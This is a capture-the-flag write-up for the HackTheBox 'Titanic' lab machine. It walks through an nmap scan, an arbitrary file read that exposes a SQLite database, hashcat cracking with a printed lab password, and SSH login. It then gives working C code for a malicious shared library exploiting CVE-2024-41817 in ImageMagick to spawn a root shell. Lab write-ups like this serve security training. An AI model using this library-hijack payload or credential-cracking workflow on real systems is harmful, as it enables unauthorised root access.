/Titanic/titanic Writeup

Sofa Sin Relleno

25/06/2025

Summary

Titanic is a medium-difficulty HTB machine that involves:

- Web exploitation via an insecure GET endpoint.
- Database extraction and password cracking.
- SSH access to a user account.
- Privilege escalation via `LD_LIBRARY_PATH` hijack in a vulnerable ImageMagick (CVE-2024-41817) root process.

Reconnaissance

Nmap Scan

“‘bash nmap -sC -sV -oN nmap.txt 10.10.11.55 | Port | Service | Version | | —- | ——- | ——- | | 22 | SSH | OpenSSH | | 80 | HTTP | Apache |

Web Enumeration

Navigating to http://10.10.X.X reveals a basic Titanic-themed webpage. Using Burp Suite, I intercepted a vulnerable GET request that allowed arbitrary file retrieval. Exploiting this, I accessed and downloaded a SQLite database containing hashed user credentials.

Cracking Credentials

Extracted hashes from the database and cracked them using hashcat:

```
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
```

Username: developer Password: 25282528

Initial Access

Logged in via SSH:

ssh developer@10.10.11.55

Privilege Escalation

After login, I listed running processes:

With pspy64 (downloaded via wget on a local server previously set on my machine) I could see which processes were running root (besides mine) since, via developer, I can't access this information.

Found a root-owned ImageMagick process. After researching, I discovered a relevant vulnerability: CVE-2024-41817 — a shared library hijack via LD_LIBRARY_PATH.

This vulnerability allows an attacker to create a fake libxcb.so.1 file in a writable directory and trick the root process into loading it.

Exploiting CVE-2024-41817

Crafted a malicious shared object:

gcc -x c -shared -fPIC -o ./libxcb.so.1 - « EOF #include <stdio.h> #include <stdlib.h> #include <unistd.h>

attribute((constructor)) void init() { setuid(0); setgid(0); system("/bin/bash"); } EOF

Placed the .so in the directory from which the root process was loading libraries. As soon as the process restarted or reloaded the lib, I got a root shell.

Takeaways

```
Do not expose sensitive files or databases through GET endpoints.

Passwords should never be stored unhashed, and hashes should be properly salted.

Use tools like ps, lsof, or strace to monitor suspicious processes.

Always validate third-party libraries - ImageMagick is a known attack vector.
```